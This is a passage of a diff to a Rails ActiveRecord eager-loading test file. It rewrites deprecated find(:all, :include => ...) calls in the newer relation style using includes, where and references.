   def test_eager_association_loading_with_belongs_to_and_order_string_with_unquoted_table_name
     assert_nothing_raised do
-      Comment.find(:all, :include => :post, :order => 'posts.id')
+      Comment.all.merge!(:includes => :post, :order => 'posts.id').to_a
     end
   end
 
   def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
     quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
     assert_nothing_raised do
-      Comment.find(:all, :include => :post, :order => quoted_posts_id)
+      ActiveSupport::Deprecation.silence do
+        Comment.all.merge!(:includes => :post, :order => quoted_posts_id).to_a
+      end
     end
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_multiple_associations
-    posts = Post.find(:all, :include => [:author, :very_special_comment], :limit => 1, :order => 'posts.id')
+    posts = Post.all.merge!(:includes => [:author, :very_special_comment], :limit => 1, :order => 'posts.id').to_a
     assert_equal 1, posts.length
     assert_equal [1], posts.collect { |p| p.id }
   end
 
   def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_multiple_associations
-    posts = Post.find(:all, :include => [:author, :very_special_comment], :limit => 1, :offset => 1, :order => 'posts.id')
+    posts = Post.all.merge!(:includes => [:author, :very_special_comment], :limit => 1, :offset => 1, :order => 'posts.id').to_a
     assert_equal 1, posts.length
     assert_equal [2], posts.collect { |p| p.id }
   end
 
   def test_eager_association_loading_with_belongs_to_inferred_foreign_key_from_association_name
-    author_favorite = AuthorFavorite.find(:first, :include => :favorite_author)
+    author_favorite = AuthorFavorite.all.merge!(:includes => :favorite_author).first
     assert_equal authors(:mary), assert_no_queries { author_favorite.favorite_author }
   end
 
   def test_eager_load_belongs_to_quotes_table_and_column_names
-    job = Job.find jobs(:unicyclist).id, :include => :ideal_reference
+    job = Job.includes(:ideal_reference).find jobs(:unicyclist).id
     references(:michael_unicyclist)
     assert_no_queries{ assert_equal references(:michael_unicyclist), job.ideal_reference}
   end
 
   def test_eager_load_has_one_quotes_table_and_column_names
-    michael = Person.find(people(:michael), :include => :favourite_reference)
+    michael = Person.all.merge!(:includes => :favourite_reference).find(people(:michael))
     references(:michael_unicyclist)
     assert_no_queries{ assert_equal references(:michael_unicyclist), michael.favourite_reference}
   end
 
   def test_eager_load_has_many_quotes_table_and_column_names
-    michael = Person.find(people(:michael), :include => :references)
+    michael = Person.all.merge!(:includes => :references).find(people(:michael))
     references(:michael_magician,:michael_unicyclist)
     assert_no_queries{ assert_equal references(:michael_magician,:michael_unicyclist), michael.references.sort_by(&:id) }
   end
 
   def test_eager_load_has_many_through_quotes_table_and_column_names
-    michael = Person.find(people(:michael), :include => :jobs)
+    michael = Person.all.merge!(:includes => :jobs).find(people(:michael))
     jobs(:magician, :unicyclist)
     assert_no_queries{ assert_equal jobs(:unicyclist, :magician), michael.jobs.sort_by(&:id) }
   end
 
   def test_eager_load_has_many_with_string_keys
     subscriptions = subscriptions(:webster_awdr, :webster_rfr)
-    subscriber =Subscriber.find(subscribers(:second).id, :include => :subscriptions)
+    subscriber =Subscriber.all.merge!(:includes => :subscriptions).find(subscribers(:second).id)
     assert_equal subscriptions, subscriber.subscriptions.sort_by(&:id)
   end
 
@@ -394,25 +442,25 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_load_has_many_through_with_string_keys
     books = books(:awdr, :rfr)
-    subscriber = Subscriber.find(subscribers(:second).id, :include => :books)
+    subscriber = Subscriber.all.merge!(:includes => :books).find(subscribers(:second).id)
     assert_equal books, subscriber.books.sort_by(&:id)
   end
 
   def test_eager_load_belongs_to_with_string_keys
     subscriber = subscribers(:second)
-    subscription = Subscription.find(subscriptions(:webster_awdr).id, :include => :subscriber)
+    subscription = Subscription.all.merge!(:includes => :subscriber).find(subscriptions(:webster_awdr).id)
     assert_equal subscriber, subscription.subscriber
   end
 
   def test_eager_association_loading_with_explicit_join
-    posts = Post.find(:all, :include => :comments, :joins => "INNER JOIN authors ON posts.author_id = authors.id AND authors.name = 'Mary'", :limit => 1, :order => 'author_id')
+    posts = Post.all.merge!(:includes => :comments, :joins => "INNER JOIN authors ON posts.author_id = authors.id AND authors.name = 'Mary'", :limit => 1, :order => 'author_id').to_a
     assert_equal 1, posts.length
   end
 
   def test_eager_with_has_many_through
-    posts_with_comments = people(:michael).posts.find(:all, :include => :comments, :order => 'posts.id')
-    posts_with_author = people(:michael).posts.find(:all, :include => :author, :order => 'posts.id')
-    posts_with_comments_and_author = people(:michael).posts.find(:all, :include => [ :comments, :author ], :order => 'posts.id')
+    posts_with_comments = people(:michael).posts.merge(:includes => :comments, :order => 'posts.id').to_a
+    posts_with_author = people(:michael).posts.merge(:includes => :author, :order => 'posts.id').to_a
+    posts_with_comments_and_author = people(:michael).posts.merge(:includes => [ :comments, :author ], :order => 'posts.id').to_a
     assert_equal 2, posts_with_comments.inject(0) { |sum, post| sum += post.comments.size }
     assert_equal authors(:david), assert_no_queries { posts_with_author.first.author }
     assert_equal authors(:david), assert_no_queries { posts_with_comments_and_author.first.author }
@@ -423,32 +471,32 @@ class EagerAssociationTest < ActiveRecord::TestCase
     Post.create!(:author => author, :title => "TITLE", :body => "BODY")
     author.author_favorites.create(:favorite_author_id => 1)
     author.author_favorites.create(:favorite_author_id => 2)
-    posts_with_author_favorites = author.posts.find(:all, :include => :author_favorites)
+    posts_with_author_favorites = author.posts.merge(:includes => :author_favorites).to_a
     assert_no_queries { posts_with_author_favorites.first.author_favorites.first.author_id }
   end
 
   def test_eager_with_has_many_through_an_sti_join_model
-    author = Author.find(:first, :include => :special_post_comments, :order => 'authors.id')
+    author = Author.all.merge!(:includes => :special_post_comments, :order => 'authors.id').first
     assert_equal [comments(:does_it_hurt)], assert_no_queries { author.special_post_comments }
   end
 
   def test_eager_with_has_many_through_an_sti_join_model_with_conditions_on_both
-    author = Author.find(:first, :include => :special_nonexistant_post_comments, :order => 'authors.id')
+    author = Author.all.merge!(:includes => :special_nonexistant_post_comments, :order => 'authors.id').first
     assert_equal [], author.special_nonexistant_post_comments
   end
 
   def test_eager_with_has_many_through_join_model_with_conditions
-    assert_equal Author.find(:first, :include => :hello_post_comments,
-                             :order => 'authors.id').hello_post_comments.sort_by(&:id),
-                 Author.find(:first, :order => 'authors.id').hello_post_comments.sort_by(&:id)
+    assert_equal Author.all.merge!(:includes => :hello_post_comments,
+                             :order => 'authors.id').first.hello_post_comments.sort_by(&:id),
+                 Author.all.merge!(:order => 'authors.id').first.hello_post_comments.sort_by(&:id)
   end
 
   def test_eager_with_has_many_through_join_model_with_conditions_on_top_level
-    assert_equal comments(:more_greetings), Author.find(authors(:david).id, :include => :comments_with_order_and_conditions).comments_with_order_and_conditions.first
+    assert_equal comments(:more_greetings), Author.all.merge!(:includes => :comments_with_order_and_conditions).find(authors(:david).id).comments_with_order_and_conditions.first
   end
 
   def test_eager_with_has_many_through_join_model_with_include
-    author_comments = Author.find(authors(:david).id, :include => :comments_with_include).comments_with_include.to_a
+    author_comments = Author.all.merge!(:includes => :comments_with_include).find(authors(:david).id).comments_with_include.to_a
     assert_no_queries do
       author_comments.first.post.title
     end
@@ -456,7 +504,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_with_has_many_through_with_conditions_join_model_with_include
     post_tags = Post.find(posts(:welcome).id).misc_tags
-    eager_post_tags = Post.find(1, :include => :misc_tags).misc_tags
+    eager_post_tags = Post.all.merge!(:includes => :misc_tags).find(1).misc_tags
     assert_equal post_tags, eager_post_tags
   end
 
@@ -467,16 +515,16 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_has_many_and_limit
-    posts = Post.find(:all, :order => 'posts.id asc', :include => [ :author, :comments ], :limit => 2)
+    posts = Post.all.merge!(:order => 'posts.id asc', :includes => [ :author, :comments ], :limit => 2).to_a
     assert_equal 2, posts.size
     assert_equal 3, posts.inject(0) { |sum, post| sum += post.comments.size }
   end
 
   def test_eager_with_has_many_and_limit_and_conditions
     if current_adapter?(:OpenBaseAdapter)
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "FETCHBLOB(posts.body) = 'hello'", :order => "posts.id")
+      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "FETCHBLOB(posts.body) = 'hello'", :order => "posts.id").to_a
     else
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "posts.body = 'hello'", :order => "posts.id")
+      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "posts.body = 'hello'", :order => "posts.id").to_a
     end
     assert_equal 2, posts.size
     assert_equal [4,5], posts.collect { |p| p.id }
@@ -484,57 +532,62 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_with_has_many_and_limit_and_conditions_array
     if current_adapter?(:OpenBaseAdapter)
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "FETCHBLOB(posts.body) = ?", 'hello' ], :order => "posts.id")
+      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "FETCHBLOB(posts.body) = ?", 'hello' ], :order => "posts.id").to_a
     else
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "posts.body = ?", 'hello' ], :order => "posts.id")
+      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "posts.body = ?", 'hello' ], :order => "posts.id").to_a
     end
     assert_equal 2, posts.size
     assert_equal [4,5], posts.collect { |p| p.id }
   end
 
   def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
-    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
+    posts = ActiveSupport::Deprecation.silence do
+      Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "authors.name = ?", 'David' ]).to_a
+    end
     assert_equal 2, posts.size
 
-    count = Post.count(:include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
+    count = ActiveSupport::Deprecation.silence do
+      Post.count(:include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
+    end
     assert_equal count, posts.size
   end
 
   def test_eager_with_has_many_and_limit_and_high_offset
-    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10, :conditions => [ "authors.name = ?", 'David' ])
+    posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :offset => 10, :where => { 'authors.name' => 'David' }).to_a
     assert_equal 0, posts.size
   end
 
   def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_array_conditions
     assert_queries(1) do
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10,
-        :conditions => [ "authors.name = ? and comments.body = ?", 'David', 'go crazy' ])
+      posts = Post.references(:authors, :comments).
+        merge(:includes => [ :author, :comments ], :limit => 2, :offset => 10,
+          :where => [ "authors.name = ? and comments.body = ?", 'David', 'go crazy' ]).to_a
       assert_equal 0, posts.size
     end
   end
 
   def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_hash_conditions
     assert_queries(1) do
-      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10,
-        :conditions => { 'authors.name' => 'David', 'comments.body' => 'go crazy' })
+      posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :offset => 10,
+        :where => { 'authors.name' => 'David', 'comments.body' => 'go crazy' }).to_a
       assert_equal 0, posts.size
     end
   end
 
   def test_count_eager_with_has_many_and_limit_and_high_offset
-    posts = Post.count(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10, :conditions => [ "authors.name = ?", 'David' ])
+    posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :offset => 10, :where => { 'authors.name' => 'David' }).count(:all)
     assert_equal 0, posts
   end
 
   def test_eager_with_has_many_and_limit_with_no_results
-    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "posts.title = 'magic forest'")
+    posts = Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => "posts.title = 'magic forest'").to_a
     assert_equal 0, posts.size
   end
 
   def test_eager_count_performed_on_a_has_many_association_with_multi_table_conditional
     author = authors(:david)
     author_posts_without_comments = author.posts.select { |post| post.comments.blank? }
-    assert_equal author_posts_without_comments.size, author.posts.count(:all, :include => :comments, :conditions => 'comments.id is null')
+    assert_equal author_posts_without_comments.size, author.posts.includes(:comments).where('comments.id is null').references(:comments).count
   end
 
   def test_eager_count_performed_on_a_has_many_through_association_with_multi_table_conditional
@@ -544,7 +597,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_has_and_belongs_to_many_and_limit
-    posts = Post.find(:all, :include => :categories, :order => "posts.id", :limit => 3)
+    posts = Post.all.merge!(:includes => :categories, :order => "posts.id", :limit => 3).to_a
     assert_equal 3, posts.size
     assert_equal 2, posts[0].categories.size
     assert_equal 1, posts[1].categories.size
@@ -553,9 +606,9 @@ class EagerAssociationTest < ActiveRecord::TestCase
     assert posts[1].categories.include?(categories(:general))
   end
 
-  # This is only really relevant when the identity map is off. Since the preloader for habtm
-  # gets raw row hashes from the database and then instantiates them, this test ensures that
-  # it only instantiates one actual object per record from the database.
+  # Since the preloader for habtm gets raw row hashes from the database and then
+  # instantiates them, this test ensures that it only instantiates one actual
+  # object per record from the database.
   def test_has_and_belongs_to_many_should_not_instantiate_same_records_multiple_times
     welcome    = posts(:welcome)
     categories = Category.includes(:posts)
@@ -570,68 +623,47 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_has_many_and_limit_and_conditions_on_the_eagers
-    posts = authors(:david).posts.find(:all,
-      :include    => :comments,
-      :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'",
-      :limit      => 2
-    )
+    posts =
+      authors(:david).posts
+        .includes(:comments)
+        .where("comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'")
+        .references(:comments)
+        .limit(2)
+        .to_a
     assert_equal 2, posts.size
 
-    count = Post.count(
-      :include    => [ :comments, :author ],
-      :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')",
-      :limit      => 2
-    )
+    count =
+      Post.includes(:comments, :author)
+        .where("authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')")
+        .references(:authors, :comments)
+        .limit(2)
+        .count
     assert_equal count, posts.size
   end
 
   def test_eager_with_has_many_and_limit_and_scoped_conditions_on_the_eagers
     posts = nil
-    Post.send(:with_scope, :find => {
-      :include    => :comments,
-      :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'"
-    }) do
-      posts = authors(:david).posts.find(:all, :limit => 2)
+    Post.includes(:comments)
+      .where("comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'")
+      .references(:comments)
+      .scoping do
+
+      posts = authors(:david).posts.limit(2).to_a
       assert_equal 2, posts.size
     end
 
-    Post.send(:with_scope, :find => {
-      :include    => [ :comments, :author ],
-      :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')"
-    }) do
-      count = Post.count(:limit => 2)
-      assert_equal count, posts.size
-    end
-  end
+    Post.includes(:comments, :author)
+      .where("authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')")
+      .references(:authors, :comments)
+      .scoping do
 
-  def test_eager_with_has_many_and_limit_and_scoped_and_explicit_conditions_on_the_eagers
-    Post.send(:with_scope, :find => { :conditions => "1=1" }) do
-      posts = authors(:david).posts.find(:all,
-        :include    => :comments,
-        :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'",
-        :limit      => 2
-      )
-      assert_equal 2, posts.size
-
-      count = Post.count(
-        :include    => [ :comments, :author ],
-        :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')",
-        :limit      => 2
-      )
+      count = Post.limit(2).count
       assert_equal count, posts.size
     end
   end
 
-  def test_eager_with_scoped_order_using_association_limiting_without_explicit_scope
-    posts_with_explicit_order = Post.find(:all, :conditions => 'comments.id is not null', :include => :comments, :order => 'posts.id DESC', :limit => 2)
-    posts_with_scoped_order = Post.send(:with_scope, :find => {:order => 'posts.id DESC'}) do
-      Post.find(:all, :conditions => 'comments.id is not null', :include => :comments, :limit => 2)
-    end
-    assert_equal posts_with_explicit_order, posts_with_scoped_order
-  end
-
   def test_eager_association_loading_with_habtm
-    posts = Post.find(:all, :include => :categories, :order => "posts.id")
+    posts = Post.all.merge!(:includes => :categories, :order => "posts.id").to_a
     assert_equal 2, posts[0].categories.size
     assert_equal 1, posts[1].categories.size
     assert_equal 0, posts[2].categories.size
@@ -640,23 +672,23 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_inheritance
-    SpecialPost.find(:all, :include => [ :comments ])
+    SpecialPost.all.merge!(:includes => [ :comments ]).to_a
   end
 
   def test_eager_has_one_with_association_inheritance
-    post = Post.find(4, :include => [ :very_special_comment ])
+    post = Post.all.merge!(:includes => [ :very_special_comment ]).find(4)
     assert_equal "VerySpecialComment", post.very_special_comment.class.to_s
   end
 
   def test_eager_has_many_with_association_inheritance
-    post = Post.find(4, :include => [ :special_comments ])
+    post = Post.all.merge!(:includes => [ :special_comments ]).find(4)
     post.special_comments.each do |special_comment|
       assert special_comment.is_a?(SpecialComment)
     end
   end
 
   def test_eager_habtm_with_association_inheritance
-    post = Post.find(6, :include => [ :special_categories ])
+    post = Post.all.merge!(:includes => [ :special_categories ]).find(6)
     assert_equal 1, post.special_categories.size
     post.special_categories.each do |special_category|
       assert_equal "SpecialCategory", special_category.class.to_s
@@ -665,8 +697,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_with_has_one_dependent_does_not_destroy_dependent
     assert_not_nil companies(:first_firm).account
-    f = Firm.find(:first, :include => :account,
-            :conditions => ["companies.name = ?", "37signals"])
+    f = Firm.all.merge!(:includes => :account,
+            :where => ["companies.name = ?", "37signals"]).first
     assert_not_nil f.account
     assert_equal companies(:first_firm, :reload).account, f.account
   end
@@ -680,22 +712,22 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_with_invalid_association_reference
     assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
-      Post.find(6, :include=> :monkeys )
+      Post.all.merge!(:includes=> :monkeys ).find(6)
     }
     assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
-      Post.find(6, :include=>[ :monkeys ])
+      Post.all.merge!(:includes=>[ :monkeys ]).find(6)
     }
     assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
-      Post.find(6, :include=>[ 'monkeys' ])
+      Post.all.merge!(:includes=>[ 'monkeys' ]).find(6)
     }
     assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
-      Post.find(6, :include=>[ :monkeys, :elephants ])
+      Post.all.merge!(:includes=>[ :monkeys, :elephants ]).find(6)
     }
   end
 
   def test_eager_with_default_scope
     developer = EagerDeveloperWithDefaultScope.where(:name => 'David').first
-    projects = Project.order(:id).all
+    projects = Project.order(:id).to_a
     assert_no_queries do
       assert_equal(projects, developer.projects)
     end
@@ -703,7 +735,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_with_default_scope_as_class_method
     developer = EagerDeveloperWithClassMethodDefaultScope.where(:name => 'David').first
-    projects = Project.order(:id).all
+    projects = Project.order(:id).to_a
     assert_no_queries do
       assert_equal(projects, developer.projects)
     end
@@ -711,7 +743,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_with_default_scope_as_lambda
     developer = EagerDeveloperWithLambdaDefaultScope.where(:name => 'David').first
-    projects = Project.order(:id).all
+    projects = Project.order(:id).to_a
     assert_no_queries do
       assert_equal(projects, developer.projects)
     end
@@ -719,7 +751,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_with_default_scope_as_block
     developer = EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first
-    projects = Project.order(:id).all
+    projects = Project.order(:id).to_a
     assert_no_queries do
       assert_equal(projects, developer.projects)
     end
@@ -727,28 +759,59 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_with_default_scope_as_callable
     developer = EagerDeveloperWithCallableDefaultScope.where(:name => 'David').first
-    projects = Project.order(:id).all
+    projects = Project.order(:id).to_a
     assert_no_queries do
       assert_equal(projects, developer.projects)
     end
   end
 
   def find_all_ordered(className, include=nil)
-    className.find(:all, :order=>"#{className.table_name}.#{className.primary_key}", :include=>include)
+    className.all.merge!(:order=>"#{className.table_name}.#{className.primary_key}", :includes=>include).to_a
   end
 
   def test_limited_eager_with_order
-    assert_equal posts(:thinking, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title)', :limit => 2, :offset => 1)
-    assert_equal posts(:sti_post_and_comments, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title) DESC', :limit => 2, :offset => 1)
+    assert_equal(
+      posts(:thinking, :sti_comments),
+      Post.all.merge!(
+        :includes => [:author, :comments], :where => { 'authors.name' => 'David' },
+        :order => 'UPPER(posts.title)', :limit => 2, :offset => 1
+      ).to_a
+    )
+    assert_equal(
+      posts(:sti_post_and_comments, :sti_comments),
+      Post.all.merge!(
+        :includes => [:author, :comments], :where => { 'authors.name' => 'David' },
+        :order => 'UPPER(posts.title) DESC', :limit => 2, :offset => 1
+      ).to_a
+    )
   end
 
   def test_limited_eager_with_multiple_order_columns
-    assert_equal posts(:thinking, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => ['UPPER(posts.title)', 'posts.id'], :limit => 2, :offset => 1)
-    assert_equal posts(:sti_post_and_comments, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => ['UPPER(posts.title) DESC', 'posts.id'], :limit => 2, :offset => 1)
+    assert_equal(
+      posts(:thinking, :sti_comments),
+      Post.all.merge!(
+        :includes => [:author, :comments], :where => { 'authors.name' => 'David' },
+        :order => ['UPPER(posts.title)', 'posts.id'], :limit => 2, :offset => 1
+      ).to_a
+    )
+    assert_equal(
+      posts(:sti_post_and_comments, :sti_comments),
+      Post.all.merge!(
+        :includes => [:author, :comments], :where => { 'authors.name' => 'David' },
+        :order => ['UPPER(posts.title) DESC', 'posts.id'], :limit => 2, :offset => 1
+      ).to_a
+    )
   end
 
   def test_limited_eager_with_numeric_in_association
-    assert_equal people(:david, :susan), Person.find(:all, :include => [:readers, :primary_contact, :number1_fan], :conditions => "number1_fans_people.first_name like 'M%'", :order => 'people.id', :limit => 2, :offset => 0)
+    assert_equal(
+      people(:david, :susan),
+      Person.references(:number1_fans_people).merge(
+        :includes => [:readers, :primary_contact, :number1_fan],
+        :where => "number1_fans_people.first_name like 'M%'",
+        :order => 'people.id', :limit => 2, :offset => 0
+      ).to_a
+    )
   end
 
   def test_preload_with_interpolation
@@ -760,9 +823,9 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_polymorphic_type_condition
-    post = Post.find(posts(:thinking).id, :include => :taggings)
+    post = Post.all.merge!(:includes => :taggings).find(posts(:thinking).id)
     assert post.taggings.include?(taggings(:thinking_general))
-    post = SpecialPost.find(posts(:thinking).id, :include => :taggings)
+    post = SpecialPost.all.merge!(:includes => :taggings).find(posts(:thinking).id)
     assert post.taggings.include?(taggings(:thinking_general))
   end
 
@@ -813,13 +876,13 @@ class EagerAssociationTest < ActiveRecord::TestCase
     end
   end
   def test_eager_with_valid_association_as_string_not_symbol
-    assert_nothing_raised { Post.find(:all, :include => 'comments') }
+    assert_nothing_raised { Post.all.merge!(:includes => 'comments').to_a }
   end
 
   def test_eager_with_floating_point_numbers
     assert_queries(2) do
       # Before changes, the floating point numbers will be interpreted as table names and will cause this to run in one query
-      Comment.find :all, :conditions => "123.456 = 123.456", :include => :post
+      Comment.all.merge!(:where => "123.456 = 123.456", :includes => :post).to_a
     end
   end
 
@@ -863,31 +926,31 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_count_with_include
     if current_adapter?(:SybaseAdapter)
-      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "len(comments.body) > 15")
+      assert_equal 3, authors(:david).posts_with_comments.where("len(comments.body) > 15").references(:comments).count
     elsif current_adapter?(:OpenBaseAdapter)
-      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "length(FETCHBLOB(comments.body)) > 15")
+      assert_equal 3, authors(:david).posts_with_comments.where("length(FETCHBLOB(comments.body)) > 15").references(:comments).count
     else
-      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "length(comments.body) > 15")
+      assert_equal 3, authors(:david).posts_with_comments.where("length(comments.body) > 15").references(:comments).count
     end
   end
 
   def test_load_with_sti_sharing_association
     assert_queries(2) do #should not do 1 query per subclass
-      Comment.find :all, :include => :post
+      Comment.includes(:post).to_a
     end
   end
 
   def test_conditions_on_join_table_with_include_and_limit
-    assert_equal 3, Developer.find(:all, :include => 'projects', :conditions => 'developers_projects.access_level = 1', :limit => 5).size
+    assert_equal 3, Developer.all.merge!(:includes => 'projects', :where => { 'developers_projects.access_level' => 1 }, :limit => 5).to_a.size
   end
 
   def test_order_on_join_table_with_include_and_limit
-    assert_equal 5, Developer.find(:all, :include => 'projects', :order => 'developers_projects.joined_on DESC', :limit => 5).size
+    assert_equal 5, Developer.all.merge!(:includes => 'projects', :order => 'developers_projects.joined_on DESC', :limit => 5).to_a.size
   end
 
   def test_eager_loading_with_order_on_joined_table_preloads
     posts = assert_queries(2) do
-      Post.find(:all, :joins => :comments, :include => :author, :order => 'comments.id DESC')
+      Post.all.merge!(:joins => :comments, :includes => :author, :order => 'comments.id DESC').to_a
     end
     assert_equal posts(:eager_other), posts[1]
     assert_equal authors(:mary), assert_no_queries { posts[1].author}
@@ -895,64 +958,60 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_eager_loading_with_conditions_on_joined_table_preloads
     posts = assert_queries(2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => [:comments], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
+      Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => [:comments], :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
     end
     assert_equal [posts(:welcome)], posts
     assert_equal authors(:david), assert_no_queries { posts[0].author}
 
-    posts = assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => [:comments], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
+    posts = assert_queries(2) do
+      Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => [:comments], :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
     end
     assert_equal [posts(:welcome)], posts
     assert_equal authors(:david), assert_no_queries { posts[0].author}
 
-    posts = assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) do
-      Post.find(:all, :include => :author, :joins => {:taggings => :tag}, :conditions => "tags.name = 'General'", :order => 'posts.id')
+    posts = assert_queries(2) do
+      Post.all.merge!(:includes => :author, :joins => {:taggings => :tag}, :where => "tags.name = 'General'", :order => 'posts.id').to_a
     end
     assert_equal posts(:welcome, :thinking), posts
 
-    posts = assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) do
-      Post.find(:all, :include => :author, :joins => {:taggings => {:tag => :taggings}}, :conditions => "taggings_tags.super_tag_id=2", :order => 'posts.id')
+    posts = assert_queries(2) do
+      Post.all.merge!(:includes => :author, :joins => {:taggings => {:tag => :taggings}}, :where => "taggings_tags.super_tag_id=2", :order => 'posts.id').to_a
     end
     assert_equal posts(:welcome, :thinking), posts
-
   end
 
   def test_eager_loading_with_conditions_on_string_joined_table_preloads
     posts = assert_queries(2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => "INNER JOIN comments on comments.post_id = posts.id", :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
+      Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => "INNER JOIN comments on comments.post_id = posts.id", :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
     end
     assert_equal [posts(:welcome)], posts
     assert_equal authors(:david), assert_no_queries { posts[0].author}
 
-    posts = assert_queries(ActiveRecord::IdentityMap.enabled? ? 1 : 2) do
-      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => ["INNER JOIN comments on comments.post_id = posts.id"], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
+    posts = assert_queries(2) do
+      Post.all.merge!(:select => 'distinct posts.*', :includes => :author, :joins => ["INNER JOIN comments on comments.post_id = posts.id"], :where => "comments.body like 'Thank you%'", :order => 'posts.id').to_a
     end
     assert_equal [posts(:welcome)], posts
     assert_equal authors(:david), assert_no_queries { posts[0].author}
-
   end
 
   def test_eager_loading_with_select_on_joined_table_preloads
     posts = assert_queries(2) do
-      Post.find(:all, :select => 'posts.*, authors.name as author_name', :include => :comments, :joins => :author, :order => 'posts.id')
+      Post.all.merge!(:select => 'posts.*, authors.name as author_name', :includes => :comments, :joins => :author, :order => 'posts.id').to_a
     end
     assert_equal 'David', posts[0].author_name
     assert_equal posts(:welcome).comments, assert_no_queries { posts[0].comments}
   end
 
   def test_eager_loading_with_conditions_on_join_model_preloads
